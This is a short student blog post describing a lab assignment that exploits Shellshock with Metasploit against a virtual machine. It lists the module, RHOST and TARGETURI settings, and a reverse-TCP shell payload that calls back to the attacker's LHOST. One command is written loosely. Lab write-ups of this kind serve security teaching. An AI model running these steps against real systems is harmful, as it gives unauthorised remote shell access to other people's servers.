• Uncategorized 18.06.2019

    In this post i will be explaining what i did for the third lab assignment given on the ninth week.

    Here were the steps i went through:

    First of all, I changed the network to NatNetwork so that the 2 OS has different IPs. Then proceed to use ifconfig to find both IPs.

    -Then we use the command #msfconsole

    -Next, we use commands:

    -Use exploit/multi/http/apache_mod_cgi_bash_env_exec

    -When we then show options, there are things that are listed as required which means needs to be filled.

    -Then, we set the RHOST which is the target machine’s IP address

    -We then use the command #TARGETURI /cgi-bin/status

    -Next, we use set payload linux/x86/shell/reverse_tcp

    -We then set our LHOST as our own virtual machine, and set the port of the virtual machine.

    -As we can see, now it says when we use the command “check” it says the target is vulnerable

    -When the target is vulnerable, we then use “exploit” to exploit the target.

    Posted by nixon @ 7:04 pm

  • Leave a Reply

    Your email address will not be published. Required fields are marked *